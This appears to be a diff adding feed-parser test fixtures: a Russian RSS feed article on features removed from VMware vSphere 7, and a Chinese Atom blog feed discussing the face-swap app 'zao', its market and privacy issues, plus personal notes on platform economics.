+ vmgu.ru + +
+ + + <![CDATA[Чего больше нет в VMware vSphere 7?]]> + http://feedproxy.google.com/~r/Vmguru/~3/bI3CECUxuRc/vmware-vsphere-7-features-removal-and-deprecation + http://feedproxy.google.com/~r/Vmguru/~3/bI3CECUxuRc/vmware-vsphere-7-features-removal-and-deprecation + Mon, 06 Apr 2020 01:43:35 -0700 + Мы много писали о том, что нового появилось в обновленной платформе виртуализации VMware vSphere 7, которая недавно стала доступной для загрузки. Сегодня мы поговорим о том, чего больше нет в vSphere, ведь многие администраторы привыкли использовать некоторые средства, поэтому, возможно, подождут с апгрейдом. Об этих запланированных изменениях мы писали еще в 2017 году.

+

1. Больше нет vSphere Web Client на базе Flash

+

Об этом говорили давно, долго задерживали снятие с производства тяжеловесного vSphere Web Client, но все откладывали из-за несоответствия функциональности клиенту нового поколения vSphere Client на базе технологии HTML5. Теперь в vSphere 7 этот переход окончательно завершен, и старого Web Client больше нет.

+

Клиент на HTML5 включает в себя не только все старые рабочие процессы Web Client, но и давно получил новые возможности, такие как, например, упрощенная настройка механизма отказоустойчивости vCenter HA (VCHA) и функции обновлений vSphere Update Manager (VUM).

+

+

2. Больше нет внешнего PSC (Platform Services Controller)

+

Как мы уже рассказывали, Embedded PSC - это теперь единственно возможный вариант развертывания. Внешний PSC больше не поддерживается. Встроенный PSC имеет все необходимые сервисы для управления доменом vSphere SSO (подробнее описано в KB 60229).

+

С помощью утилиты Converge Tool, которая появилась в vSphere 6.7 Update 1, можно смигрировать внешний сервер Platform Services Controller (PSC) на простой в управлении embedded PSC, используя командный интерфейс vCenter Server CLI или графический клиент vSphere Client:

+

+

3. Больше нет VMware vCenter for Windows

+

Как мы уже писали, vSphere 6.7 - это была последняя версия платформы, где для vCenter еще была версия под Windows. Теперь остался только виртуальный модуль vCenter Server Appliance (vCSA) на базе Photon OS. Многие привыкли к сервисам vCenter на базе Windows, теперь придется отвыкать.

+

VMware рекомендует выполнить 2 основных шага для миграции с vCenter на vCSA:

+
  • Migration Assistant - консольная утилита, которую нужно выполнить до мастера миграции vCenter. Она выясняет соответствие требованиям к миграции и показывает дальнейшие шаги.
  • +
  • Migration Tool - это мастер миграции, который доступен из основного дистрибутива vCenter.
  • +

+

4. Больше нет Update Manager Plugin

+

На протяжении долгого времени это был плагин для vSphere Web Client. Теперь вместо продукта VMware Update Manager (VUM) в vSphere 7 есть более широкое по функциональности решение VMware Lifecycle Manager.

+

+

Ранее администраторы vSphere использовали Update Manager (VUM) для обновлений платформы и драйверов, а утилиты от производителей серверов для обновления их микрокода (firmware). Теперь эти процессы объединяются в единый механизм под управлением vSphere Lifecycle Manager.

+

5. Больше нет VNC-сервера в ESXi

+

Ранее в ESXi был встроенный VNC-сервер, который был убран в последней версии VMware vSphere 7. Раньше можно было соединиться с консолью виртуальной машины с помощью VNC-клиента, добавив в конфигурацию параметр RemoteDisplay.vnc.enable.

+

Теперь такой возможности больше нет (ей пользовались администраторы систем, не использующих средства VMware). Для соединения с консолью виртуальной машины используйте vSphere Client, хостовый клиент ESXi Host Client или средство VMware Remote Console.

+

6. Мелочи, которых или уже больше нет или их не рекомендуется использовать (не будет потом)

+

В эту категорию попали:

+
  • VMware vSphere 7.0 и протокол TLS Protocol (TLS 1.0 и 1.1 отключены по умолчанию).
  • +
  • Нет поддержки резервного копирования на уровне образов (Image-Based Backup) для сервера vCenter.
  • +
  • Интерфейс VMKlinux API уже давно безнадежно устарел, вместо него используется архитектура нативных драйверов под vSphere, начиная еще с ESXi 5.5. vmkLinux - это такая прослойка между VMkernel и Linux-драйверами, которая позволяла транслировать команды от ядра (так как VMkernel - это НЕ Linux) к драйверам и обратно. Но теперь нативных партнерских драйверов устройств для ESXi накопилось достаточно, и старая архитектура Linux-драйверов ушла в прошлое.
  • +
  • Депрекация поддержки 32-bit Userworld. Ранее партнерам VMware была доступна возможность делать 32-битные драйверы, плагины и другие компоненты в VIB-пакетах. Теперь, начиная со следующих версий vSphere, такой возможности больше не будет.
  • +
  • Почти убрана поддержка Integrated Windows Authentication. В этой версии IWA еще работает, но в следующей версии уже не будет. Подробнее в KB 78506.
  • +
  • Депрекация аутентификации DCUI Smart Card Authentication. Пользователям со смарт-картами рекомендовано использовать vCenter, PowerCLI или API-вызовы, ну либо логин и пароль по-старинке.
  • +
  • Депрекация Core Partition Profile для функциональности Host Profiles. Вместо разделов Coredump Partitions пользователям нужно использовать файлы Coredump Files.



]]>
+ Мы много писали о том, что нового появилось в обновленной платформе виртуализации VMware vSphere 7, которая недавно стала доступной для загрузки. Сегодня мы поговорим о том, чего больше нет в vSphere, ведь многие администраторы привыкли использовать некоторые средства, поэтому, возможно, подождут с апгрейдом. Об этих запланированных изменениях мы писали еще в 2017 году.

+

1. Больше нет vSphere Web Client на базе Flash

+

Об этом говорили давно, долго задерживали снятие с производства тяжеловесного vSphere Web Client, но все откладывали из-за несоответствия функциональности клиенту нового поколения vSphere Client на базе технологии HTML5. Теперь в vSphere 7 этот переход окончательно завершен, и старого Web Client больше нет.

+

Клиент на HTML5 включает в себя не только все старые рабочие процессы Web Client, но и давно получил новые возможности, такие как, например, упрощенная настройка механизма отказоустойчивости vCenter HA (VCHA) и функции обновлений vSphere Update Manager (VUM).

+

+

2. Больше нет внешнего PSC (Platform Services Controller)

+

Как мы уже рассказывали, Embedded PSC - это теперь единственно возможный вариант развертывания. Внешний PSC больше не поддерживается. Встроенный PSC имеет все необходимые сервисы для управления доменом vSphere SSO (подробнее описано в KB 60229).

+

С помощью утилиты Converge Tool, которая появилась в vSphere 6.7 Update 1, можно смигрировать внешний сервер Platform Services Controller (PSC) на простой в управлении embedded PSC, используя командный интерфейс vCenter Server CLI или графический клиент vSphere Client:

+

+

3. Больше нет VMware vCenter for Windows

+

Как мы уже писали, vSphere 6.7 - это была последняя версия платформы, где для vCenter еще была версия под Windows. Теперь остался только виртуальный модуль vCenter Server Appliance (vCSA) на базе Photon OS. Многие привыкли к сервисам vCenter на базе Windows, теперь придется отвыкать.

+

VMware рекомендует выполнить 2 основных шага для миграции с vCenter на vCSA:

+
  • Migration Assistant - консольная утилита, которую нужно выполнить до мастера миграции vCenter. Она выясняет соответствие требованиям к миграции и показывает дальнейшие шаги.
  • +
  • Migration Tool - это мастер миграции, который доступен из основного дистрибутива vCenter.
  • +

+

4. Больше нет Update Manager Plugin

+

На протяжении долгого времени это был плагин для vSphere Web Client. Теперь вместо продукта VMware Update Manager (VUM) в vSphere 7 есть более широкое по функциональности решение VMware Lifecycle Manager.

+

+

Ранее администраторы vSphere использовали Update Manager (VUM) для обновлений платформы и драйверов, а утилиты от производителей серверов для обновления их микрокода (firmware). Теперь эти процессы объединяются в единый механизм под управлением vSphere Lifecycle Manager.

+

5. Больше нет VNC-сервера в ESXi

+

Ранее в ESXi был встроенный VNC-сервер, который был убран в последней версии VMware vSphere 7. Раньше можно было соединиться с консолью виртуальной машины с помощью VNC-клиента, добавив в конфигурацию параметр RemoteDisplay.vnc.enable.

+

Теперь такой возможности больше нет (ей пользовались администраторы систем, не использующих средства VMware). Для соединения с консолью виртуальной машины используйте vSphere Client, хостовый клиент ESXi Host Client или средство VMware Remote Console.

+

6. Мелочи, которых или уже больше нет или их не рекомендуется использовать (не будет потом)

+

В эту категорию попали:

+
  • VMware vSphere 7.0 и протокол TLS Protocol (TLS 1.0 и 1.1 отключены по умолчанию).
  • +
  • Нет поддержки резервного копирования на уровне образов (Image-Based Backup) для сервера vCenter.
  • +
  • Интерфейс VMKlinux API уже давно безнадежно устарел, вместо него используется архитектура нативных драйверов под vSphere, начиная еще с ESXi 5.5. vmkLinux - это такая прослойка между VMkernel и Linux-драйверами, которая позволяла транслировать команды от ядра (так как VMkernel - это НЕ Linux) к драйверам и обратно. Но теперь нативных партнерских драйверов устройств для ESXi накопилось достаточно, и старая архитектура Linux-драйверов ушла в прошлое.
  • +
  • Депрекация поддержки 32-bit Userworld. Ранее партнерам VMware была доступна возможность делать 32-битные драйверы, плагины и другие компоненты в VIB-пакетах. Теперь, начиная со следующих версий vSphere, такой возможности больше не будет.
  • +
  • Почти убрана поддержка Integrated Windows Authentication. В этой версии IWA еще работает, но в следующей версии уже не будет. Подробнее в KB 78506.
  • +
  • Депрекация аутентификации DCUI Smart Card Authentication. Пользователям со смарт-картами рекомендовано использовать vCenter, PowerCLI или API-вызовы, ну либо логин и пароль по-старинке.
  • +
  • Депрекация Core Partition Profile для функциональности Host Profiles. Вместо разделов Coredump Partitions пользователям нужно использовать файлы Coredump Files.



]]>
+ http://vmgu.ru + +
+ + + <![CDATA[Чего больше нет в VMware vSphere 7?]]> + http://feedproxy.google.com/~r/Vmguru/~3/bI3CECUxuRc/vmware-vsphere-7-features-removal-and-deprecation + http://feedproxy.google.com/~r/Vmguru/~3/bI3CECUxuRc/vmware-vsphere-7-features-removal-and-deprecation + Mon, 06 Apr 2020 01:43:35 -0700 + Мы много писали о том, что нового появилось в обновленной платформе виртуализации VMware vSphere 7, которая недавно стала доступной для загрузки. Сегодня мы поговорим о том, чего больше нет в vSphere, ведь многие администраторы привыкли использовать некоторые средства, поэтому, возможно, подождут с апгрейдом. Об этих запланированных изменениях мы писали еще в 2017 году.

+

1. Больше нет vSphere Web Client на базе Flash

+

Об этом говорили давно, долго задерживали снятие с производства тяжеловесного vSphere Web Client, но все откладывали из-за несоответствия функциональности клиенту нового поколения vSphere Client на базе технологии HTML5. Теперь в vSphere 7 этот переход окончательно завершен, и старого Web Client больше нет.

+

Клиент на HTML5 включает в себя не только все старые рабочие процессы Web Client, но и давно получил новые возможности, такие как, например, упрощенная настройка механизма отказоустойчивости vCenter HA (VCHA) и функции обновлений vSphere Update Manager (VUM).

+

+

2. Больше нет внешнего PSC (Platform Services Controller)

+

Как мы уже рассказывали, Embedded PSC - это теперь единственно возможный вариант развертывания. Внешний PSC больше не поддерживается. Встроенный PSC имеет все необходимые сервисы для управления доменом vSphere SSO (подробнее описано в KB 60229).

+

С помощью утилиты Converge Tool, которая появилась в vSphere 6.7 Update 1, можно смигрировать внешний сервер Platform Services Controller (PSC) на простой в управлении embedded PSC, используя командный интерфейс vCenter Server CLI или графический клиент vSphere Client:

+

+

3. Больше нет VMware vCenter for Windows

+

Как мы уже писали, vSphere 6.7 - это была последняя версия платформы, где для vCenter еще была версия под Windows. Теперь остался только виртуальный модуль vCenter Server Appliance (vCSA) на базе Photon OS. Многие привыкли к сервисам vCenter на базе Windows, теперь придется отвыкать.

+

VMware рекомендует выполнить 2 основных шага для миграции с vCenter на vCSA:

+
  • Migration Assistant - консольная утилита, которую нужно выполнить до мастера миграции vCenter. Она выясняет соответствие требованиям к миграции и показывает дальнейшие шаги.
  • +
  • Migration Tool - это мастер миграции, который доступен из основного дистрибутива vCenter.
  • +

+

4. Больше нет Update Manager Plugin

+

На протяжении долгого времени это был плагин для vSphere Web Client. Теперь вместо продукта VMware Update Manager (VUM) в vSphere 7 есть более широкое по функциональности решение VMware Lifecycle Manager.

+

+

Ранее администраторы vSphere использовали Update Manager (VUM) для обновлений платформы и драйверов, а утилиты от производителей серверов для обновления их микрокода (firmware). Теперь эти процессы объединяются в единый механизм под управлением vSphere Lifecycle Manager.

+

5. Больше нет VNC-сервера в ESXi

+

Ранее в ESXi был встроенный VNC-сервер, который был убран в последней версии VMware vSphere 7. Раньше можно было соединиться с консолью виртуальной машины с помощью VNC-клиента, добавив в конфигурацию параметр RemoteDisplay.vnc.enable.

+

Теперь такой возможности больше нет (ей пользовались администраторы систем, не использующих средства VMware). Для соединения с консолью виртуальной машины используйте vSphere Client, хостовый клиент ESXi Host Client или средство VMware Remote Console.

+

6. Мелочи, которых или уже больше нет или их не рекомендуется использовать (не будет потом)

+

В эту категорию попали:

+
  • VMware vSphere 7.0 и протокол TLS Protocol (TLS 1.0 и 1.1 отключены по умолчанию).
  • +
  • Нет поддержки резервного копирования на уровне образов (Image-Based Backup) для сервера vCenter.
  • +
  • Интерфейс VMKlinux API уже давно безнадежно устарел, вместо него используется архитектура нативных драйверов под vSphere, начиная еще с ESXi 5.5. vmkLinux - это такая прослойка между VMkernel и Linux-драйверами, которая позволяла транслировать команды от ядра (так как VMkernel - это НЕ Linux) к драйверам и обратно. Но теперь нативных партнерских драйверов устройств для ESXi накопилось достаточно, и старая архитектура Linux-драйверов ушла в прошлое.
  • +
  • Депрекация поддержки 32-bit Userworld. Ранее партнерам VMware была доступна возможность делать 32-битные драйверы, плагины и другие компоненты в VIB-пакетах. Теперь, начиная со следующих версий vSphere, такой возможности больше не будет.
  • +
  • Почти убрана поддержка Integrated Windows Authentication. В этой версии IWA еще работает, но в следующей версии уже не будет. Подробнее в KB 78506.
  • +
  • Депрекация аутентификации DCUI Smart Card Authentication. Пользователям со смарт-картами рекомендовано использовать vCenter, PowerCLI или API-вызовы, ну либо логин и пароль по-старинке.
  • +
  • Депрекация Core Partition Profile для функциональности Host Profiles. Вместо разделов Coredump Partitions пользователям нужно использовать файлы Coredump Files.



]]>
+ Мы много писали о том, что нового появилось в обновленной платформе виртуализации VMware vSphere 7, которая недавно стала доступной для загрузки. Сегодня мы поговорим о том, чего больше нет в vSphere, ведь многие администраторы привыкли использовать некоторые средства, поэтому, возможно, подождут с апгрейдом. Об этих запланированных изменениях мы писали еще в 2017 году.

+

1. Больше нет vSphere Web Client на базе Flash

+

Об этом говорили давно, долго задерживали снятие с производства тяжеловесного vSphere Web Client, но все откладывали из-за несоответствия функциональности клиенту нового поколения vSphere Client на базе технологии HTML5. Теперь в vSphere 7 этот переход окончательно завершен, и старого Web Client больше нет.

+

Клиент на HTML5 включает в себя не только все старые рабочие процессы Web Client, но и давно получил новые возможности, такие как, например, упрощенная настройка механизма отказоустойчивости vCenter HA (VCHA) и функции обновлений vSphere Update Manager (VUM).

+

+

2. Больше нет внешнего PSC (Platform Services Controller)

+

Как мы уже рассказывали, Embedded PSC - это теперь единственно возможный вариант развертывания. Внешний PSC больше не поддерживается. Встроенный PSC имеет все необходимые сервисы для управления доменом vSphere SSO (подробнее описано в KB 60229).

+

С помощью утилиты Converge Tool, которая появилась в vSphere 6.7 Update 1, можно смигрировать внешний сервер Platform Services Controller (PSC) на простой в управлении embedded PSC, используя командный интерфейс vCenter Server CLI или графический клиент vSphere Client:

+

+

3. Больше нет VMware vCenter for Windows

+

Как мы уже писали, vSphere 6.7 - это была последняя версия платформы, где для vCenter еще была версия под Windows. Теперь остался только виртуальный модуль vCenter Server Appliance (vCSA) на базе Photon OS. Многие привыкли к сервисам vCenter на базе Windows, теперь придется отвыкать.

+

VMware рекомендует выполнить 2 основных шага для миграции с vCenter на vCSA:

+
  • Migration Assistant - консольная утилита, которую нужно выполнить до мастера миграции vCenter. Она выясняет соответствие требованиям к миграции и показывает дальнейшие шаги.
  • +
  • Migration Tool - это мастер миграции, который доступен из основного дистрибутива vCenter.
  • +

+

4. Больше нет Update Manager Plugin

+

На протяжении долгого времени это был плагин для vSphere Web Client. Теперь вместо продукта VMware Update Manager (VUM) в vSphere 7 есть более широкое по функциональности решение VMware Lifecycle Manager.

+

+

Ранее администраторы vSphere использовали Update Manager (VUM) для обновлений платформы и драйверов, а утилиты от производителей серверов для обновления их микрокода (firmware). Теперь эти процессы объединяются в единый механизм под управлением vSphere Lifecycle Manager.

+

5. Больше нет VNC-сервера в ESXi

+

Ранее в ESXi был встроенный VNC-сервер, который был убран в последней версии VMware vSphere 7. Раньше можно было соединиться с консолью виртуальной машины с помощью VNC-клиента, добавив в конфигурацию параметр RemoteDisplay.vnc.enable.

+

Теперь такой возможности больше нет (ей пользовались администраторы систем, не использующих средства VMware). Для соединения с консолью виртуальной машины используйте vSphere Client, хостовый клиент ESXi Host Client или средство VMware Remote Console.

+

6. Мелочи, которых или уже больше нет или их не рекомендуется использовать (не будет потом)

+

В эту категорию попали:

+
  • VMware vSphere 7.0 и протокол TLS Protocol (TLS 1.0 и 1.1 отключены по умолчанию).
  • +
  • Нет поддержки резервного копирования на уровне образов (Image-Based Backup) для сервера vCenter.
  • +
  • Интерфейс VMKlinux API уже давно безнадежно устарел, вместо него используется архитектура нативных драйверов под vSphere, начиная еще с ESXi 5.5. vmkLinux - это такая прослойка между VMkernel и Linux-драйверами, которая позволяла транслировать команды от ядра (так как VMkernel - это НЕ Linux) к драйверам и обратно. Но теперь нативных партнерских драйверов устройств для ESXi накопилось достаточно, и старая архитектура Linux-драйверов ушла в прошлое.
  • +
  • Депрекация поддержки 32-bit Userworld. Ранее партнерам VMware была доступна возможность делать 32-битные драйверы, плагины и другие компоненты в VIB-пакетах. Теперь, начиная со следующих версий vSphere, такой возможности больше не будет.
  • +
  • Почти убрана поддержка Integrated Windows Authentication. В этой версии IWA еще работает, но в следующей версии уже не будет. Подробнее в KB 78506.
  • +
  • Депрекация аутентификации DCUI Smart Card Authentication. Пользователям со смарт-картами рекомендовано использовать vCenter, PowerCLI или API-вызовы, ну либо логин и пароль по-старинке.
  • +
  • Депрекация Core Partition Profile для функциональности Host Profiles. Вместо разделов Coredump Partitions пользователям нужно использовать файлы Coredump Files.



]]>
+ http://vmgu.ru + +
+ + + + \ No newline at end of file diff --git a/tests/feedlib/testdata/parser/warn/https-chocoluffy-com-atom-xml.xml b/tests/feedlib/testdata/parser/warn/https-chocoluffy-com-atom-xml.xml new file mode 100644 index 0000000..c3648dd --- /dev/null +++ b/tests/feedlib/testdata/parser/warn/https-chocoluffy-com-atom-xml.xml @@ -0,0 +1,3597 @@ + + + <![CDATA[余舜哲的 One Piece]]> + + + + 2019-09-21T14:30:39.240Z + http://chocoluffy.com/ + + + + + + + Hexo + + + <![CDATA[AI换脸zao戏,及背后个性化形象的市场]]> + + http://chocoluffy.com/2019/08/31/AI换脸zao戏,及背后个性化形象的市场/ + 2019-09-01T01:22:38.000Z + 2019-09-21T14:30:39.240Z + 产品介绍

通过用户的一张自拍照片,能够将用户的脸移植到其他的影视作品里的演员的脸上。App Store 搜索「zao好戏」或者在微博热搜上都可以看到应用相关信息。

+

31号爆红,白天经历服务器排队,目前至9月1日下午时,已可以重新恢复制作视频。

+

其实「zao」也代表了近期一系列基于deepfake换脸的应用,能够替换现有影视作品的演员制作表情包和视频。

+

一些看法

工具类低留存

工具类低留存的困境这个app也很难摆脱。

+

简单来说,那些因为好奇心,猎奇心追逐潮流而来下载使用的人,也会因为它在成为爆款街品之后因为失去了标新立异的能力而离它而去。
对于依赖制造潮流而火的产品,最后拼的还是持续制造潮流的能力。如果没有想到更适合切入的商业模式,「zao戏」一定概率和之前曾爆火的prisma,zepto等在几周后褪散热度。也可以尝试预测一下「zao」是不是会开始极力鼓励用户邀请好友合拍视频,拿到关系链,然后往snapchat的模式走。

+

区别

「zao戏」背后由大厂支持。对于目前被普遍采用的deepfake方案,对于每个用户上传的头像离线训练换脸模型的成本极高,GPU花销在高峰期一夜超过百万元的成本,并不是多数厂商能够并愿意负担的,这也间接解释了为什么zao背后是「陌陌」在支持,陌陌依赖直播不差钱,且该功能后续对直播以及视频制作有更多的作用,这一点后续具体展开。

+

启发

视频分发 & 生产的新玩法

最直观的感受是,生产以及二次生产的门槛降低。

+

拍张相片就能把脸换进场景剧中生成视频,是生产门槛的极大降低。但本质上,基于已有内容的改编其实更应当被算作是二次生产,而值得注意的一点是,二次生产并没有创造或记录新的东西,其面向的是纯娱乐消费。我们应当看到其在娱乐领域上的潜力。

+

首先是对品牌方,影视剧方的视频分发的影响。

+

很多电影制作方曾在快手,抖音上尝到收益。比如代言人黄渤《一出好戏》的快手话题页面有超过8千万人参与,其短视频电影预告共拿到超百万点赞等等。但绝大多数时候,这类传播是单向的,是制作方凭借自己影响力的输出。如果配合精剪精筛视频物料的换脸玩法,能在传播渠道上更加丰富,用户更容易自发转发到其他渠道形成多向传播,并形成热门话题和与制作方契合的预期槽点与笑点。

+

配合已有作品的换脸玩法,以及提供二次创作的能力。这么听感觉有点像同框玩法。但其实本质上就是一回事,只是相比而言,换脸的用户操作门槛更低,场景更丰富,以及拥有直接嵌入原场景的用户体验优势。

+

这样的选择同时也是为了控制风险。

+

在技术以及政策的初期,我们更倾向于选择2B(和品牌方影视方合作来规划可被二次制作的视频范围)而不是直接2C(让用户随意上传视频并且随意换脸,因为这样的内容以及成像更加不可控。)

+

对直播的辅助

换脸,意味着视频中人物形象的呈现能力和身份的拆分。

+

演技优良的作者可以在后期被编辑换上更符合潮流流量的脸,甚至依托观看历史,在呈现方式上做个性化的细微调整(比如脸上妆戴哪款饰物更有利于相关电商转化)。这也进一步对直播市场做供给细分,拆分出表演类目的作者和颜值类目的作者,一方负责肢体呈现,另一方负责形象租赁。

+

一个更为细分的市场同样促使了市场的标准化,也进一步提供了匹配的空间,有潜力出一个平台级的选手。

+

而以上提到的作者,其实并不局限于真人 。个人观点是偏向于从虚拟形象入手,因为这么做能够更好的切割形象的所属权,虚拟形象的IP属于平台,而个人形象的IP归属更为复杂(涉及个人,其工作室,平台等等)。

+

同时必须承认的是,现有的开源方案并不支持实时性,而是根据来源和目标训练好的模型对视频抽帧处理。这里对直播侧的讨论更多算一个脑洞,但是对毋需实时的视频制作能力的改变是已经存在的,也预估短期会有更多的相关项目出现。

+

互动剧集

竖屏长剧相比短视频,意味着额外的制作能力。而这也为换脸这一类互动形式提供了空间。

+

比如,竖屏长剧的剧作者是否能够在剧集后保留30s的彩蛋时间,由其社交平台上的粉丝们来换脸参与该彩蛋时间的剧情交互,并由观看者决定是否解锁该剧情的分支,以及收看最热门临摹视频的版本。等等等等……玩法很多很细。

+

局限性

AI换脸是否涉嫌侵权,是一个很重要也无法回避的问题。

+

个人看法是需要区分其中涉及的权利。

+

从对改编的作品是否侵权的层面看,我的回答是模糊的。用户以贡献自己肖像的形式参与作品,该成果会被当作用户衍生作品(derivative work),在这个纬度能够保护用户来改编。但是由于引用的作品所有权不属于该用户,其引用改编的时长和程度会影响到这个侵权行为的判决。由于相关法案仍处于空白,我个人倾向于对短时长周期的引用(<7s)是比较避险的做法。但必须指出这和引用的内容极其相关,任何触及政治和法律红线的敏感内容都将直接侵权甚至违法。

+

从平台对用户征收肖像数据的层面看,其中大概率涉及侵权行为。从「zao」的霸道用户协议也可以看到,原文:“授予”ZAO”及其关联公司以及”ZAO”用户全球范围内完全免费、不可撤销、永久、可转授权和可再许可的权利”…这一点基本暗示了他们背后能操作这些肖像图片的空间,后续的法律纠纷大概率会集中在这一点。

+

后续Q&A

    +
  • 「zao」为代表的换脸技术和快手,抖音推的AR滤镜有什么区别?
  • +
+

个人观点:从产品角度理解,我觉得两者代表的是两个方向。

+

「魔表」推到极致,是对自己场景的修改,重心依旧在自己,通过模型对自己希望呈现的形象做增强。而「换脸」推到极致则是将作者置于另一个场景,重心在新的视频场景和剧情,作者不过只是附着在场景上的一个更亲切的形象。因此基于这个理解,我认为魔表(形象增强)的技术发展是强调实时性和夸张性的,是个性和潮流的体现;而换脸(形象交换)的发展具有更大的应用空间,适合视频制作,广告等等依赖impression的市场领域,其中有很大的算法匹配空间。

+
    +
  • 个人隐私是个大问题?
  • +
+

个人观点:对侵权的问题,我依旧希望从两个层面拆解来看,一是对改编作品的行为是否侵权,二是平台通过用户协议获得用户肖像权是否侵权。目前来看,因为zao不合理的用户协议,对二的声讨远远盖过对技术本身和其应用范围的一的讨论。而二其实是一个更宽泛的针对平台用户协议约束力的问题,这反而分散了对这项技术本身应当给予的讨论空间。我认为用户隐私非常关键,但是我同样认为从技术的提出到落地存在很大的执行空间。我们能够通过很多方式来降低风险和保护用户的隐私。不仅仅是更友好和平等的用户协议,还有内容的传播,源头和归属等等……我在文中也有提及:这其实也解释了为什么首先是通过2B而不是直接2C的方式来应用这项技术。

+]]>
+ + + + + + + + + + + + + + + + + + + +
+ + + <![CDATA[碎语 2019 Aug.]]> + + http://chocoluffy.com/2019/08/30/碎语-2019-Aug/ + 2019-08-31T02:09:58.000Z + 2019-09-21T14:30:39.248Z + 8.24
    +
  • 愚昧总是着急地变着样子,而幸福却一直是最古老的模样。
  • +
  • 只强调使用权的爆款。电子身份
  • +
  • “县域本地经济,非常落后。停滞在80年代水平,但是消费水平几乎与时代同步。”
  • +
  • 没有什么身份是绝对高级的。他们不过是挪用了更多的他们的付出而视而不见。
  • +
  • 互联网,移动互联网,是现代的道路。
  • +
  • 不同的内容形式,都存在与之对应的最合适的偶像与流行形式。
  • +
  • 【剧本】双重人格。自我实现的狂热。只看见自己想看见的生活。
  • +
  • 【剧本】回落初空。我们看到的不是真的世界,而我们的想象力才是我们的整个世界。决定自由,是因为我不想错过其他可能。一个越来越具象的世界,是一个不断输出价值观的世界。人们变得浮躁,是因为他们所接受到的信息本身变得精致无比。越抽象的传递,越依赖双方的默契。写作者写下的每一个字,读者费尽心力解开。
  • +
  • 这个世界是多元的。除了广告这个极端之外。应当有另一个极端的盈利模式。
  • +
  • “越趋向叙事表达的内容形态,会更接近能够产生直接内容收入的形态。越趋向综艺表达的内容形态,会更接近广告收入为主,内容为社交服务的倾向也会更重。越趋向具象表达与叙事的内容的生产成本会更高,内容的生产更高的概率依赖PGC。越趋向抽象表达与综艺的内容生产成本会更低,内容的生产更高的概率依赖UGC。”
  • +
  • 辛巴的婚礼,各路明星包括成龙,花费7000万。最后直播卖货,收益1.3亿。
  • +
+

关于平台

美团张川:做了8年平台,我总结了平台的5道坎

+
    +
  • 低频需求靠广告,高频需求才靠补贴。他们面向买家打广告,但二手车市场供不应求,供给端改革才是核心。所以给买家打广告的人人车对比给卖家打广告、强调卖车赚钱的瓜子,后者才真正意识到了商业的本质。
  • +
  • 平台遇到的第一关,是能否确定、并识别出平台的两端是极其不平衡的业务,并通过运营、产品,保持两端的不平衡,这样才能最终成就平台的价值。
    这部分主要思考的,是商业社会最常见的Two Sided Marketplace(双边平台),如淘宝、美团、滴滴都是典型的双边平台。
    动态不平衡,即这个市场的活跃度足够高,不会产生单个用户和单个服务提供者在一段时间内多次达成同一个交易的过程。
  • +
  • 产品标准化的过程,是在加速形成这种动态不平衡,也即,没有什么是不可代替的
  • +
  • 第二个陷阱是“平台专家陷阱”。如果平台是以知识,特别是独有性知识为前提的平台,容易掉入这个陷阱。典型的就是律师、医生、老师。这类平台用户选择成本很高,需求会集中到专家身上。当平台养出好的服务者以后,他可能就离开平台。
    专家型的陷阱会让很多创业者一开始觉得平台做得还不错,但是很快就进入平台的停滞期,随着用户和专家的流失,平台进入衰退期。
    +

    也即私域流量。私域流量很大的一个缺点。不是不能做,是重心要偏向腰部。

    +
    +
  • +
  • 标准化的现象的一个性质:当它可以测量的时候
  • +
  • 经济学原理中有一句话: 短期看需求,长期看供给。
  • +
  • 平台到了最后构造商业模式的时候,一定要想清楚是做是做剃须刀(LTV,生命周期总价值),还是电冰箱(CAC,用户获取成本)的生意。剃须刀的生意,就是看中一个客户的长期价值,第一次生意不追求赚钱,甚至是亏钱的,但是依靠长期卖刀片的生意,把利润做高做大。打印机生意同理。电冰箱的生意,就是一定要在本次交易中覆盖用户获得成本,生意的公式就是本次收入-获客成本,不要期待未来还能依靠给冰箱卖鸡蛋能够从单个客户上获得更多的收入。
  • +
+

8.23

我确定我喜欢你的时候,是当我发现我们之间的沉默也是甜的。

+

8.19

    +
  • 我会希望把他们纳入自己控制的体系里。而不是短期竭泽而渔。
  • +
  • 微信公众号是一个减税的过程。
  • +
+

2019/8/17

“当你想打破什么时,社交媒体很有用;可当你想用它来重新建设些什么,它就失灵了。”” 来自步调一致的狂热

+
+

极度的不对称。

+

现实世界。和虚拟世界。
现实世界里的身边。他们通过家庭,邻里的筛选,最终形成我们的身影。
而虚拟世界里。仅仅依靠谁嗓门最大。(总有人会在享受伤害带来的流量。)

+

呼吁返回现实世界的生活体验。其实是呼吁尊重这一类价值观。有一些东西他们很难形成,但是很容易辨认的。边际成本分布体系。

+

我们很难选择我们身处的世界。
可以我们却很容易选择我们虚拟身份加入的群体。

+

曾经我们在一切不适应中学会成长,学会谦卑。
现在我们不断要求世界适应自己的出言不逊。

+

这是共识的狂欢。也是共识的谷底。没有自由的选择。

+

为什么商业公司的思维逃脱不了“转,评,赞?”

+

科技每打破一个障碍。也在重新分配成本的分布。

+

文学,艺术,音乐应当不断干预政治。直到政治不再干预文学,艺术,音乐。

+
+

2019/8/13

    +
  • 虽然已经两亿用户了。虽然已经是一个接近8000人的公司。虽然仅仅入职1个月,但我还是能够做出贡献直接影响所有用户。要尊重这份力量。
  • +
+

2019/8/3

    +
  • 我们在决定着人们能够看到怎么样的世界。
      +
    • 有一些可能费力但是没有绩效的事情。比如hate rate。一个非常不对称的指标。hate涨了对导致对用户不可逆的伤害,但是hate跌却没有明显的收益。
    • +
    +
  • +
  • 今天早餐的庆丰包子铺,饿了吗的快递员因为长时间的等待对结账的服务员大妈破口大骂,双方都火气冲天。其实快递员是在担心因为自己送货慢导致的被用户投诉然后扣工资,而包子铺的大妈更是做着本职工作,希望维持嘈杂人群的秩序。人们都只是在努力工作着,为了生活,也为了能够保护自己想要保护的人。仅此而已。而商业模式决定了人们力量的指向,决定了人们的对峙。我想,其实是有改进空间的。只要把测量的时间放置在从餐馆出餐到快递送达的时间段即可,而不是从用户订餐到快递送达的时间段。而后者是为了消费者的绝对体验,前者是在消费者方面稍做妥协却对快递员更人性化的考量,也是快递员唯一能够改变的区间。没有什么是绝对轻松的。消费者享受的悠闲,只是成本转移到了别人身上,只是他们看不见也不想看见而已。而如何控制成本的流通途径和可证明可累积的性质,是我一直想要想明白的东西。今年年终的年度总结就是这个话题了, MR(margin revenue) = MC(margin cost) 永远都会成立,只是 MC 的受众和显隐性会不同。人们努力私生活提高的MR,将由所在体系下的规则决定MC的流向…很巧。
    也想到了天龙人玛丽乔亚里的传送带,实际上是在地底下的奴隶们实现的。
    +

